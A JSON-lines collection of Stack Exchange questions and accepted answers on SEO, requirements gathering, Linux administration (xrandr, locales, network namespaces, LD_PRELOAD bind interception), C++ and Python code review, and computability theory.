{  "id": "_webmaster.18128"  , "question": "How to use low competition keywords with large search volume effectively?For example :I have keyword phrase why does the which produce 368,000 global searches (searxch type : phrase in google keyword tool). This keyword has 1% competition.I want to know what can I do with this keyword.NOTE: The phrase is the starting phrase, ex: why does the sun shine?, why does the moon's color white?why does the sky blue?"  , "title": "How to use low competition keywords with large search volume effectively?"  , "tags": "google;google search console;keywords;seo"  , "accepted_answer": "You probably can't do anything with that keyword. It's very broad. This gives you a couple of problems:Unless you have a lot of content related to why things do what they do you will have users arrive at your site only to find that the content they are looking for is not there. That will produce a high bounce rate. It also will not encourage other webmasters to link to your site which is important for SEO.The 1% figure you have is bogus. No one may target that exact phrase but you can be sure there are a lot of sites targeting phrases that include why does the in them. As a result they will ranking well for their search phrase and why does the by extension since the page's content and incoming links will include that phrase."  } 
{  "id": "_softwareengineering.58629"  , "question": "I have gotten to the point where I hate requirements gathering.  Customer's are too vague for their own good.  In an agile environment, where we can show the client a piece of work to completion it's not too bad as we can make small regular corrections/updates to functionality.In a waterfall type in environment (requirements first, nearly complete product next) things can get ugly.  This kind of environment has led me to constantly question requirements.  E.G. Customer wants automatically convert input to the number 1 (referring to a Qty in an order).  But what they don't think about is that input could be a simple type-o.  An x in a textbox could be a woops not I want 1 of those toothpaste products.  But, there's so much in the air with requirements that I could stand and correct for hours on end smashing out what they want.  This just isn't healthy.Working for a corporation, I could try to adjust the culture to fit the agile model that would help us (no small job, above my pay grade).  Or, sweep ugly details under the rug and hope for the best.  Maybe my customer is trying to get too close to the code?How does one handle the problem of thinking for the client without pissing them off with too many questions?  "  , "title": "Should a programmer think for the client?"  , "tags": "requirements;minimal requirements"  , "accepted_answer": "In most cases the customer is not aware of what else can be done.  They've never had to describe what they need in a way that makes it unambiguous for us.  In their minds, it is clear.  Even the fact that they are thinking about converting user input to the number 1 is really going beyond the way they are used to thinking.That's really as it should be.  If they really new how to describe exactly what they wanted, they wouldn't need us to write it for them.  As a result, our responsibility is to help them through the process.  The process does require decisions to be made, so they also need our recommendations to make the decision process easier.So let the customer be vague and talk at a high level.  They know their business, and that's what they are good at (hopefully, or they won't be able to pay your bills...).  Take what they talked about and think on it for a while.  Eventually you get some great ideas to get them what they want and need, while ensuring that what you need is testable and consistent.I highly recommend working in chunks.  When you meet with the client have a set of requirements that are related to each other, and then explain how you intend to do what they want.  Also explain why you made the choices you did.  The customer can then look at what you provided and fine tune it.  If you get a response like, I never thought of that, but that would really help you know you've got a pulse on how the client thinks.  NOTE: that this isn't featuritis, it's selecting the right features to best fit the business problem that the client has.If you have anything that looks like it might contradict what the client explicitly told you, then it's time to explain why.  You'll need to bring out some issues the client never thought of, and how your alternative still gives them what they want/need but also avoids those potential issues.  You may get a little pushback, but it also builds up customer trust as they realize you are trying to give them a product that they can really use.  If they give some pushback, it forces them to expound on why they wanted something a certain way.  That helps you understand your client more, and tailor the requirements as necessary.The fastest way to wear out your client is to ask all the little questions one after another.  You want to plan and schedule a series of meetings to review your approach.  As long as you own the technical requirements (what your team uses to build the product) and your client owns the business requirements, and you can relate them together, you have a way to bridge the gap."  } 
{  "id": "_unix.98772"  , "question": "I was trying to modify the screen resolution using xrandr. I used the following command.xrandr -s 1680x1050It returned an error. size 1680x1050 not found in available modesI figured I have to define and add the mode.cvt 1680 1050worked. After that I tried to add new modexrandr --newmode <model-line>Here the newmode option is not recognized. The command does not go through.usage: xrandr [options] where options are -display-help. etc.And the --newmode option is not even listed there."  , "title": "Xrandr does not recognize newmode option"  , "tags": "xrandr"  } 
{  "id": "_unix.90086"  , "question": "In order to bypass firewall/GPO constraint, I want to use Ubuntu as springboard to rdp to a Windows box on the same LAN remotely. I can xrdp to ubuntu via sesman-Xvnc module. I can run remmina from the vnc session. But in the remmina Windows session, keyboard doesn't work at all. Only mouse works. Keyboard works with other apps in vnc session. Also, if I use remmina at local Ubuntu console, keyboard works.Any suggestions? "  , "title": "Remmina doesn't work with keyboard when connected remotely"  , "tags": "ubuntu;remmina"  } 
{  "id": "_webapps.26621"  , "question": "Yahoo! has blocked my Yahoo! Answers account (I am able to use all other services of the same Yahoo Account) because I posted answers such as Ask this question on stackexchange.com; now I do not wish to regain my account, but I want to be able to delete a few questions and answers posted by me on Yahoo! Answers; is there any way I can do that?Is it contacting Yahoo! is the only way out here? Or is there something I can try?"  , "title": "Yahoo! blocked my Yahoo! Answers account - How to delete answers posted by me"  , "tags": "yahoo answers"  , "accepted_answer": "You can only delete open question or answers, if they have gone to the vote or resolved they cannot be removed. Even if they are open, you need to be logged in to delete them.The questions and answers stay in yahoo archive available for searching and browsing. only Yahoo! itself can delete them."  } 
{  "id": "_unix.356337"  , "question": "I have two applications that use the same port for network communication (34964). I have control over (source code) the first application and it uses 192.168.0.4:34964. Whereas the other application tries to use/claim all IP addresses (0.0.0.0:34964), but this one I have no control over. Each application works running alone, however when I try to make them run at the same time I get an error: Failed to bind address.QuestionIs there any way to prevent the second application from using/claiming all IP addresses (0.0.0.0) and instead use 192.168.0.5. Either before starting it, or by encapsulating it in a network namespace?I have tried nothing and I am all out of ideas...More detailed version:Two application to communicate on two separate Profinet networks. The first application acts as a Profinet device and communicates with a Siemens Profinet controller, I have access to the source code to this application. The second application should act as a Profinet Controller that talks to a Profinet Siemens device, I am currently using Codesys for this and have no access to change the source code."  , "title": "Prevent application from using all IPs on port (0.0.0.0:34964)"  , "tags": "raspberry pi;network interface;port forwarding;network namespaces"  , "accepted_answer": "You have a few options.LD_PRELOADYou could use an LD_PRELOAD library to intercept the bind() system call to force binding to a specific address.  One example of that is this, which you compile like this:gcc -nostartfiles -fpic -shared bind.c -o bind.so -ldl -D_GNU_SOURCEAnd use like this:BIND_ADDR=127.0.0.1 LD_PRELOAD=./bind.so /path/to/myprogramNetwork namespaces w/ DockerYou could also elect to run your program inside its own network namespace.  The easiest way to do this would be to build a Docker image for your application and then run it under Docker, and use Docker's port mapping capabilities to expose the service on the host ip of your choice.Here there be dragonsI would strongly recommend one of the above solutions. I only include the following because you asked about network namespaces.Network namespaces w/ macvlanIf you want to do it without Docker it's possible but a little more work.  First, create a new network namespace:# ip netns add mynsThen create a macvlan interface associated with one of your host interfaces and put it into the namespace:# ip link add myiface link eth0 type macvlan mode bridge# ip link set myiface netns mynsAnd assign it an address on your local network:# ip netns exec myns \\  ip addr add 192.168.0.4/24 dev myiface# ip netns exec myns \\  ip link set myiface upAnd create appropriate routing rules inside the namespace (substituting your actual gateway address for 192.168.0.1):# ip netns exec myns \\  ip route add default via 192.168.0.1Now, run your program inside the network namespace:# ip netns exec myns \\  /path/to/myprogramNow your program is running and will bind only to 192.168.0.4, because that is the only address visible inside the namespace.  But! Be aware of the limitation of mavclan interfaces: while other hosts on your network will be able to connect to the service, you will not be able to connect to that address from the host on which it is running (unless you create another macvlan interface on the host and route connections to 192.168.0.4 via that interface).Network namespaces w/ veth interfacesInstead of using macvlan interfaces, you can create a veth interface pair, with one end of the pair inside a network namespace and the other on your host.  You will use ip masquerading to pass packets from the namespace to your local network.Create the network namespace:# ip netns add mynsCreate an interface pair:# ip link add myiface-in type veth peer name myiface-outAssign one end of the pair to your network namespace:# ip link setns myiface-in mynsConfigure an address on each end of the pair and bring up the links:# ip addr add 192.168.99.1/24 dev myiface-out# ip link set myiface-out up# ip netns exec myns ip addr add 192.168.99.2/24 dev myiface-in# ip netns exec myns ip link set myiface-in upConfigure ip masquerading on your host.  This will redirect incoming packets on 192.168.0.4 to your namespace:# iptables -t nat -A PREROUTING -d 192.168.0.4 -p tcp --dport 34964 -j DNAT --to-destination 192.168.99.2# iptables -t nat -A OUTPUT -d 192.168.0.4 -p tcp --dport 34964 -j DNAT --to-destination 192.168.99.2And this will masquerade outbound packets:# iptables -t nat -A POSTROUTING -s 192.168.99.2 -j MASQUERADEYou will need to ensure that you have ip forwarding enabled on your host (sysctl -w net.ipv4.ip_forward=1) and that your iptables FORWARD chain permits forwarding the connection (iptables -A FORWARD -d 192.168.99.2 -j ACCEPT, keeping in mind that rules are processed in sequence so a reject rule before this one will take precedence)."  } 
{  "id": "_unix.368959"  , "question": "I am wondering what a non-interactive login shell would like and I wonder whether this ssh key configuration is the type that would used in a login shell (requires authentication) which is non-interactive (does not accept commands and return results). It is the key configuration for authorizing the repo manager commands in Gogscommand=/path/to/gogs serv key-1 --config='/path/to/custom/conf/app.ini',no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-dss AAAAB3NzaC1kc3M...I take it that the no-pty in the options makes it a non-interactive shell"  , "title": "Is this ssh key configuration (Gogs) the type of key used by a non-interactive login shell?"  , "tags": "shell;login"  } 
{  "id": "_unix.64664"  , "question": "I am a Linux noob. I noticed that this does not work: /tomcatDirectory/bin $ startup.sh //command not foundbut this does work /tomcatDirectory $ bin/startup.shI am used to Windows. It seems counter-intuitive to me that I can not run a program from its working directory, only from the parent folder.What's the bigger picture of what's happening here?"  , "title": "Why can I only run a .sh file from the parent directory, not the child directory"  , "tags": "linux;directory;directory structure"  , "accepted_answer": "The current directory (i.e., .) is not in your path. Try with./startup.shYou can check your path withecho ${PATH}You could add the current directory (.) to your path but this is considered a risk (especially if . is before other directories): when typing a command the shell will first try to execute it in the current directory. This will execute what is there instead of the default one.Summarizing: just start executables in the current directory with ./ in front of them."  } 
{  "id": "_unix.116962"  , "question": "I just installed Ubuntu 12.04.4 64 bits, all seemed to be ok, when I started to work on console I noticed:that I couldn't get some accented characters typed in to the console, for example, if I tried to type  I would get a ?That neither a ls or any other unix commands output would display such characters properly.ANSIX3.4-1968 appeared as default character encoding in terminal, so:I changed the character encoding to UTF-8 at Set Character Encoding option in Terminal menu. I can type these special characters properly but can't get other commands to output in a correct way. And I have to change this every time I open a new console.When I install anything I see this among the outputs and log info:perl: warning: Setting locale failed.perl: warning: Please check that your locale settings:    LANGUAGE = en_US:en,    LC_ALL = (unset),    LC_TIME = es_MX.UTF-8,    LC_MONETARY = es_MX.UTF-8,    LC_ADDRESS = es_MX.UTF-8,    LC_TELEPHONE = es_MX.UTF-8,    LC_NAME = es_MX.UTF-8,    LC_MEASUREMENT = es_MX.UTF-8,    LC_IDENTIFICATION = es_MX.UTF-8,    LC_NUMERIC = es_MX.UTF-8,    LC_PAPER = es_MX.UTF-8,    LANG = en_US.UTF-8    are supported and installed on your system.perl: warning: Falling back to the standard locale (C).locale: Cannot set LC_ALL to default locale: No such file or directoryAlso if I do a typo at any command working from console I get:Sorry, command-not-found has crashed! Please file a bug report at:https://bugs.launchpad.net/command-not-found/+filebugPlease include the following information with the report:command-not-found version: 0.2.44My settings at install were only English language and Spanish Keyboard layout. What could it have happened? And how can I fix it permanently?"  , "title": "Character encoding issue with my linux install?"  , "tags": "ubuntu;command line;locale;character encoding"  } 
{  "id": "_unix.60527"  , "question": "When we run top command it shows all the processes information. But under VIRT column there is m written against some values what does that m represents, is it MB . If yes then why it is only showing 12k in SWAP Header. Because if we do total the size is much much more than 12k.top - 15:43:19 up 3 days, 55 min,  2 users,  load average: 0.01, 0.08, 0.08Tasks: 259 total,   1 running, 258 sleeping,   0 stopped,   0 zombieCpu(s):  1.7%us,  0.3%sy,  0.0%ni, 97.8%id,  0.0%wa,  0.0%hi,  0.1%si,  0.0%stMem:   8177292k total,  6988680k used,  1188612k free,   417064k buffersSwap:  8385920k total,       12k used,  8385908k free,  4535416k cached  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND29948 oracle    18   0  898m 269m  41m S 14.6  3.4   1:28.77 java29947 oracle    18   0  863m 203m  34m S  1.3  2.5   0:51.60 java29912 oracle    18   0  405m 199m  18m S  0.0  2.5   1:57.79 java29943 oracle    18   0  376m 148m  19m S  0.0  1.9   0:18.00 java29909 oracle    18   0  821m 104m  27m S  0.0  1.3   0:13.91 java31008 oracle    15   0  512m  91m  28m S  0.0  1.1   0:10.28 java30245 oracle    15   0  559m  82m  19m S  0.0  1.0   0:11.70 rwserver29945 oracle    18   0  296m  68m  18m S  0.0  0.9   0:29.24 java29961 oracle    17   0  298m  66m  18m S  0.0  0.8   0:10.32 java30341 oracle    15   0  554m  64m  24m S  0.0  0.8   0:08.26 java29936 oracle    18   0  302m  61m  16m S  0.3  0.8   0:08.25 java 2543 oracle    15   0  553m  60m  24m S  0.0  0.8   0:04.45 java 8546 oracle    25   0  367m  56m  13m S  0.0  0.7   0:19.78 emagent29942 oracle    17   0  307m  56m  18m S  0.0  0.7   0:08.00 java29946 oracle    18   0  293m  53m  16m S  0.0  0.7   0:08.58 java32324 oracle    15   0  361m  51m  22m S  0.0  0.6   0:03.21 frmweb29905 oracle    18   0  290m  48m  15m S  0.0  0.6   0:06.02 java 5014 oracle    15   0  355m  45m  23m S  0.0  0.6   0:02.16 frmweb 1135 oracle    15   0  355m  44m  22m S  0.0  0.6   0:01.90 frmweb 4280 oracle    15   0  355m  44m  22m S  0.0  0.6   0:01.35 frmweb 6727 oracle    15   0  353m  42m  22m S  0.0  0.5   0:00.84 frmweb31043 oracle    16   0  452m  42m  12m S  0.0  0.5   0:03.01 java29944 oracle    18   0  279m  42m  15m S  0.0  0.5   0:05.30 java29941 oracle    15   0 98716  40m 4356 S  0.0  0.5   0:20.50 webcached 8682 oracle    15   0 72536  29m  12m S  0.0  0.4   0:01.59 frmweb"  , "title": "What does m represents in VIRT column using TOP command"  , "tags": "rhel;process;swap;virtual memory"  } 
{  "id": "_softwareengineering.33946"  , "question": "The terms rapid web development gets associated with Python/Django and ROR. Why is this not the case with C# ASP.NET?"  , "title": "Why is C# ASP.NET generally not regarded as a rapid web development framework?"  , "tags": "c#;python;asp.net;ruby"  } 
{  "id": "_scicomp.14799"  , "question": "I have been playing with an implementation of Visscher's explicit method for solving the time dependent Schrodinger equation (Are there simple ways to numerically solve the time-dependent Schödinger equation?)Presumably if I want to simulate two identical, non-interacting particles I need to duplicate the simulation array for each particle.How do I then modify the computation to take into account Fermion/Boson effects, i.e. that Fermions can't occupy the same space (ignoring spin), while Bosons are encouraged to do so?"  , "title": "Modifying finite difference solution to Schrodinger eqn to account for fermion/boson effects"  , "tags": "finite element;numerics;computational physics;quantum mechanics"  } 
{  "id": "_unix.41084"  , "question": "So, I'm writing a kernel module that needs stats about local network interfaces and I came up with the following code ... everything works fine except for the part where I try to read wireless device stats ... apparently the wireless_handler struct is not filled because the CONFIG_WIRELESS_EXT is not set ... my question? Where does ifconfig get its' wireless stats from? struct net_device *dev;struct net_device_stats *stats;             struct iw_statistics *wi_stats;dev = first_net_device(&init_net);while (dev){    if (strncmp(dev->name , wlan,4)==0 && (dev->flags & IFF_UP) == 1)            {        #ifndef CONFIG_WIRELESS_EXT        wi_stats = dev -> wireless_handlers -> get_wireless_stats(dev);        #endif              }        else if (strncmp(dev->name , eth,3)==0 || strncmp(dev->name , lo,2)==0)             {        stats = dev->netdev_ops->ndo_get_stats(dev);        printk(KERN_INFO recive packets: [%li]\\ntransmitted packets: [%li]\\nrecive errors: [%li]\\ntransmission errors: [%li]\\nnumber of collisions: [%li],                 stats->rx_packets , stats->tx_packets ,stats->rx_errors , stats->tx_errors, stats->collisions);            }    dev = next_net_device(dev);}//end while"  , "title": "how is the file /proc/net/dev filled?"  , "tags": "wifi;linux kernel"  , "accepted_answer": "Using strace, you can see iwconfig doing something like this:socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3ioctl(3, SIOCGIWNAME, 0xbfb02c7c)       = 0ioctl(3, SIOCGIWNWID, 0xbfb02c7c)       = -1 EOPNOTSUPP (Operation not supported)ioctl(3, SIOCGIWFREQ, 0xbfb02c7c)       = -1 EINVAL (Invalid argument)ioctl(3, SIOCGIWENCODE, 0xbfb02c7c)     = 0And a dozen or so other ioctls follow. Chase down those ioctls in the kernel and you'll find where the data is."  } 
{  "id": "_cogsci.7920"  , "question": "I've learned that the pilots of the Red Arrows never refer to each other by name but by number in the briefing room in order to avoid conflict.Is there a name for this trick? Do any studies say this kind of psychological trick leads to better results? Are there any applications in other fields?"  , "title": "Does referring to each other by number in group meetings lead to better results?"  , "tags": "social psychology;emotion;io psychology;military psychology"  } 
{  "id": "_codereview.159183"  , "question": "This might be a simple issue that I am overcomplicating, but I've spent quite some time reading about polygon scaling and I've come to the conclusion that it is not precisely what I need.Given a set of (x, y) coordinates for N points (shown in blue) I need the new set of coordinates that result after zooming in/out a given scale factor (shown in red).I've come up with the simple method shown below, but I wonder if there might be another approach and/or more reasonable zooming methods.import numpy as npimport matplotlib.pyplot as pltimport matplotlib.patches as patchesN = 5xy = [np.random.uniform(0., 1000., 2) for _ in range(N)]x, y = zip(*xy)# Center of xy points, defined as the center of the minimal rectangle that# contains all points.xy_center = ((min(x) + max(x)) * .5, (min(y) + max(y)) * .5)# Difference between the center coordinates and the xy points.delta_x, delta_y = xy_center[0] - x, xy_center[1] - y# Zoom scale (0. < scale)scale = 1.5# Scaled xy points.x_scale = xy_center[0] - scale * delta_xy_scale = xy_center[1] - scale * delta_yax = plt.subplot(111)# Original xy points.ax.scatter(x, y, c='b')# Defined center.ax.scatter(*xy_center, marker='x', c='g')# Zoomed points.ax.scatter(x_scale, y_scale, c='r')# Square: bottom left corner, width, heightax.add_patch(    patches.Rectangle(        (min(x), min(y)), (max(x) - min(x)), (max(y) - min(y)), fill=False))plt.show()"  , "title": "Coordinates of 2D points zoomed in/out"  , "tags": "python;algorithm;matplotlib"  , "accepted_answer": "When working with NumPy, it's best to keep all our data in the form of NumPy arrays, instead of converting back and forth between NumPy and Python data structures.So instead of creating a NumPy array for each point and then zipping them to extract tuples of \\$x\\$-coordinates and \\$y\\$-coordinates, create one array for all the points:p = np.random.uniform(0., 1000., (N, 2))We can extract the \\$x\\$-coordinates and \\$y\\$-coordinates, if we need them, by transposing the array:x, y = p.Tbut we won't need to do so until the very end when we pass the data to Matplotlib.The coordinates of the origin can be computed like this:o = (p.min(axis=0) + p.max(axis=0)) * .5To scale the points about the origin, use:q = o * (1 - scale) + p * scaleinstead of (as in the code in the post):delta = p - oq = o + delta * scaleThe former is slightly quicker, as it has only two arithmetic operations on arrays as long as p whereas the latter has three.Putting this together:import numpy as npimport matplotlib.pyplot as pltimport matplotlib.patches as patchesN = 5p = np.random.uniform(0., 1000., (N, 2))# Center of points, defined as the center of the minimal rectangle# that contains all points.o = (p.min(axis=0) + p.max(axis=0)) * .5# Scale factor (0. < scale)scale = 1.5# Points scaled about center.q = o * (1 - scale) + p * scaleax = plt.subplot(111)ax.scatter(*p.T, c='b')           # Original points.ax.scatter(*o, marker='x', c='g') # Center.ax.scatter(*q.T, c='r')           # Scaled points.ax.add_patch(patches.Rectangle(p.min(axis=0), *p.ptp(axis=0), fill=False))plt.show()Here numpy.ptp stands for peak-to-peak and computes the range of values (maximum  minimum) along an axis in an array."  } 
{  "id": "_softwareengineering.180546"  , "question": "From a given tree, subsequent trees have to be generated. Nodes can be marked as variant in the given tree (the example uses an asterisk to mark the node). All possible combinations between the variants form the resulting trees.From the following tree:- Product    - Packaging *        - Small box        - Heavy box *            - Eco            - Non-eco    - Delivery *        - Standard        - ExpressThe following 6 trees should be generated:- Product    - Packaging         - Small box    - Delivery        - Standard- Product    - Packaging        - Small box    - Delivery        - Express- Product    - Packaging        - Heavy box            - Eco    - Delivery        - Standard- Product    - Packaging        - Heavy box            - Eco    - Delivery        - Express- Product    - Packaging        - Heavy box            - Non-eco    - Delivery        - Standard- Product    - Packaging        - Heavy box            - Non-eco    - Delivery        - ExpressIs there an elegant algorithm for this (recursive solution)? "  , "title": "algorithm to extract possibilities from a tree"  , "tags": "algorithms;trees"  , "accepted_answer": "Recursive solution as follows. Essentially you have to walk the tree in depth first order, returning lists of nodes, and finally building a new tree.From a leaf node, return self.From a variant node, return a list formed by concatenating the nodes returned by each child, with self inserted at the front.At the top level, form a set of tuples that are the Cartesian product of all its child nodes. Then for each tuple create a tree that has self as the head and one tuple as each set of branches; return the list of trees.It sounds complicated, but it's probably less than 50 lines of Ruby. I'm still not convinced that the question is well formed, but this algorithm will produce the given output."  } 
{  "id": "_codereview.167526"  , "question": "I have implemented matlab's linspace function    /// linear_space -  linearly spaced vector    /// linear_space(a,b,n) generates N points between a and b    /// the goal of the function is to return an evenly distributed set of n points    inline std::vector<double> linear_space(double a, double b, unsigned int n)    {        std::vector<double> array(n, a);        //return an empty array if number of spaces is 0        //return a if number of spaces is 1        if (n <= 1 || std::fabs(a - b) < std::numeric_limits<double>::epsilon())        {            return array;        }        //we want to be sure we get exactly b in the end        for (unsigned int i = 0; i < n - 1; ++i)        {            array[i] = a + ((b - a)*i) / (n - 1);        }        array[n - 1] = b;        return array;    }here are the unit tests I did using Catch unit test framework, I used BDD style#include utilities.hpp#include catch.hpp#include <memory>#include <random>#include <algorithm>#include <vector>double any_value(){    std::random_device random_device;    std::mt19937 random_generator(random_device());    auto lower = std::numeric_limits<int>::min();    auto upper = std::numeric_limits<int>::max();    std::uniform_real_distribution<double> distribution(lower, upper);    return distribution(random_generator);}using namespace libcalc;SCENARIO(Create linear_space for valid input){    GIVEN(5 and 10 as points and number of cells is 5)    {        WHEN(trying to create linear_space)        {            std::vector<double> result = linear_space(5, 10, 5);            THEN(the result should be 5 cells)            {                CHECK(result.size() == 5);                CHECK(result[0] == 5.000);                CHECK(result[1] == 6.2500);                CHECK(result[2] == 7.5000);                CHECK(result[3] == 8.7500);                CHECK(result[4] == 10.000);            }        }    }    GIVEN(5 and 5 as points and number of cells is 5)    {        WHEN(trying to create linear_space =)        {            std::vector<double> result = linear_space(5, 5, 5);            THEN(the result should be 5 cells)            {                CHECK(result.size() == 5);                CHECK(result[0] == 5.000);                CHECK(result[1] == 5.000);                CHECK(result[2] == 5.000);                CHECK(result[3] == 5.000);                CHECK(result[4] == 5.000);            }        }    }    GIVEN(10 and 5 as points and number of cells is 5)    {        WHEN(trying to create linear_space)        {            std::vector<double> result = linear_space(10, 5, 5);            THEN(the result should be 5 cells)            {                CHECK(result.size() == 5);                CHECK(result[0] == 10.000);                CHECK(result[1] == 8.7500);                CHECK(result[2] == 7.5000);                CHECK(result[3] == 6.2500);                CHECK(result[4] == 5.000);            }        }    }}SCENARIO(Linear space with zero, one or two points is well defined){    auto number_of_repetitions = 10;    THEN(any linear space with zero points will be empty)    {        while (number_of_repetitions-- > 0)        {            auto a = any_value();            auto b = any_value();            INFO(a:  << a);            INFO(b:  << b);            CHECK(true == linear_space(a, b, 0).empty());        }    }    THEN(any linear space with one point will contain exactly the first input value)    {        while (number_of_repetitions-- > 0)        {            auto a = any_value();            auto b = any_value();            auto result = linear_space(a, b, 1);            INFO(a:  << a);            INFO(b:  << b);            REQUIRE(1 == result.size());            CHECK(a == result[0]);        }    }    THEN(any linear space with two points will contain exactly the input values)    {        while (number_of_repetitions-- > 0)        {            auto a = any_value();            auto b = any_value();            auto result = linear_space(a, b, 2);            INFO(a:  << a);            INFO(b:  << b);            REQUIRE(2 == result.size());            CHECK(a == result[0]);            CHECK(b == result[1]);        }    }}auto reverse = [](std::vector<double> const& x){    std::vector<double> output(x.size());    std::reverse_copy(x.begin(), x.end(), output.begin());    return output;};SCENARIO(Any linear space (a, b) with two or more points will be same as     the reversed linear space of (b, a)){    GIVEN(a range of points to check starting from 2)    {        unsigned int starting_point = 2;        unsigned int ending_point = 10;        THEN(the linear space (a, b) is same as reversed linear space (b, a))        {            for (unsigned int n = starting_point; n < ending_point; ++n)            {                auto a = any_value();                auto b = any_value();                auto fwd = linear_space(a, b, n);                auto rev = reverse(linear_space(b, a, n));                INFO(a:  << a);                INFO(b:  << b);                INFO(n:  << n);                REQUIRE(fwd.size() == rev.size());                for (unsigned int i = 0; i < n; i ++)                {                    REQUIRE(fwd[i] == Approx(rev[i]));                }            }        }    }}std::size_t count_unique_differences(std::vector<double> const &  vec){    auto n_1 = vec.size() - 1;    std::vector<double> distributed_vector(n_1);    for (unsigned int i = 0; i < n_1; i++)    {        distributed_vector[i] = vec[i + 1] - vec[i];    }    //we need this threshold and not using std::numeric_limits<double>::epsilon())    //since it is too small for std::unique    double threshold = 0.00001;    auto last = std::unique(distributed_vector.begin(), distributed_vector.end(), [threshold](double left, double right) {return std::abs(left - right) < threshold; });    return std::distance(distributed_vector.begin(), last);}SCENARIO(For any n greater than two the linear space will contain the     given number of equally distributed points){    GIVEN(a range of points to check starting from 2)    {        unsigned int starting_point = 2;        unsigned int ending_point = 10;        THEN(all the points should have the same space between them i.e equally distributed)        {            for (auto n = starting_point; n < ending_point; ++n)            {                auto a = any_value();                auto b = any_value();                auto x = linear_space(a, b, n);                auto y = reverse(linear_space(b, a, n));                auto count_forward = count_unique_differences(x);                auto count_reverse = count_unique_differences(y);;                INFO(a:  << a);                INFO(b:  << b);                INFO(n:  << n);                CHECK(count_forward == 1);                CHECK(count_reverse == 1);            }        }    }}Can you please review the BDD unit tests. What do you about the usage of BDD, did I implement the tests according to it? do I need to add more tests? do you think this covers the functionally of linspace from end to end?I would appreciate any comment.Thanks"  , "title": "linspace c++ and unit tests in catch BDD"  , "tags": "c++;unit testing;bdd"  } 
{  "id": "_unix.171432"  , "question": "Many of the special Readline constructs allow the user to editthe command line in various ways. For instance, certain keystrokesallow moving forward a word. A word is defined to be what bashitself defines it to be.Is it possible to set bash parameter(s) so that Readline definesa word to be something different other than what bashnormally defines it to be? Say, any sequence of non-whitespace characters?"  , "title": "Is it possible to (re)define what readline (embedded in bash) defines as a word?"  , "tags": "bash;readline"  } 
{  "id": "_unix.253979"  , "question": "I want to execute some command with currently edited file as argument from within Geany, triggered by keyboard shortcut. For example:I am editing /home/user/file.txt and after hitting Ctrl+B I want geany to execute$ command /home/user/file.txtNow I use embedded terminal, but it is not too comfortable solution.Or maybe some other editor provides such functionality?"  , "title": "Execute custom command in Geany"  , "tags": "keyboard shortcuts;command;geany"  , "accepted_answer": "Yes, it's possible to perform this.You should open menu, choose Build -> Set Build Commands and change the contents of Execute field tocommand %fif you want to execute it in Geany terminal. Or if you'll be satisfied with executing the command in Compiler tab (it lacks interactivity, coloring support and so on), change the contents of Compile, Build, Make or Make Object field.Then open menu, choose Edit -> Preferences -> Keybindings -> Build and change the shortcut for Run (or Compile, Build, Make all, Make object respectively) to Ctrl+B or whatever you want.There are few options, as you see, but if you need to execute just one command, it will be enough.For details, look here."  } 
{  "id": "_cs.29041"  , "question": "Let $f:\\Sigma^{*}\\to\\Sigma^{*}$ be a computable function and let $L$ be a recursive language. Is $f(L):=\\left \\{{f(w)|w\\in L} \\right\\}$ recursive?Here, I see clearly, that $f^{-1}(L)$ is recursive (simply by applying $f$ on an input $w$, and then see if $f(w)$ belongs to $L$). My intuition tells me that $f(L)$ should also be recursive. For an input $w$, we should verify if there exists $x\\in \\Sigma^{*}$ such that $f(x)=w$. We can apply $f$ on every word lexicographically. Surely, if $w\\in f(L)$, the machine accepts. But otherwise, the machine does not halt. So maybe my intuition is wrong?"  , "title": "The image of a recursive language under a computable function"  , "tags": "computability;undecidability;closure properties"  , "accepted_answer": "Inspired by this question, I have come up with the following.Assume that $\\langle\\cdot\\rangle$ is an encoding for TM's, for which the encoding of one Turing machine is never a prefix of the encoding of another. Let $f$ be defined as the identity on an input which does not contain a TM enconding as a prefix. If the input contains such a prefix, $f$ returns this prefix.$f$ is computable and it is well defined due to the encoding property.Let $L=\\left\\{ \\langle M\\rangle n \\mid \\text{$M$ halts on the empty input after $n$ steps} \\right\\}$.Then $L$ is recursive but $f(L)=\\left\\{ \\langle M\\rangle \\mid \\text{ $M$ halts on the blank tape} \\right\\}$ which is not recursive."  } 
{  "id": "_unix.49428"  , "question": "My problem is actually very annoying.I am very familiar with the mouse focus but right now it's not working.Inside gnome-tweak-tool the last option windows has the windows focus mode switch. I've set it to mouse but it does not work. It acts just like the sloppy option. I hope another gnome user understands my issue.UPDATE:"  , "title": "Focus mouse or sloppy do the same thing on gnome-shell"  , "tags": "opensuse;gnome shell"  , "accepted_answer": "In a standard gnome-shell setup, mouse focus and sloppy focus behave identically. The reason is simple: there is no DESKTOP. The mouse focus method, particularly, needs a DESKTOP in order to work properly but there is no such thing in gnome-shell, in its standard incarnation. Unfortunately, this is only documented in mutter docs. dconf-editor still has the old key/values description from Gnome2 metacity times and gnome-tweak-tool doesn't even provide a description let alone toggle the DESKTOP on once you switch to mouse focus.Here is an excerpt from mutter-3.**/doc/how-to-get-focus-right.txt:Focus method  Behavior    click     When a user clicks on a window, focus it   sloppy     When an EnterNotify is received, focus the window    mouse     Same as sloppy, but also defocus when mouse enters DESKTOP windowNote that these choices (along with the choice that clicking on a window raises it for the click focus method) introduces the following invariants for focus from mouse activity:Focus method  Invariant    click     The window on top is focused   sloppy     If the mouse is in a window, then it is focused; if the mouse is not in a window, then the most recently used window is focused.    mouse     If the mouse is in a non-DESKTOP window, then it is focused; otherwise, the designated no_focus_window is focusedHowever, there are a number of cases where the current focus window becomes invalid and another should be chosen.  Some examples are when a focused window is closed or minimized, or when the user changes workspaces.  In these cases, there needs to be a rule consistent with the above about the new window to choose.Focus method  Behavior    click     Focus the window on top   sloppy     Focus the window containing the pointer if there is such a window, otherwise focus the most recently used window.    mouse     Focus the non-DESKTOP window containing the pointer if there is one, otherwise focus the designated no_focus_window.Now, back to your problem. You have to enable the DESKTOP in order to have mouse focus working properly. This can be done:using gnome-tweak-tool > Desktop > Have file manager handle the desktop > ONusing dconf-editor >> org.gnome.desktop.background >> show-desktop-icons > checkedin terminal, running: gsettings set org.gnome.desktop.background show-desktop-icons trueRestart gnome-shell after applying all your settings."  } 
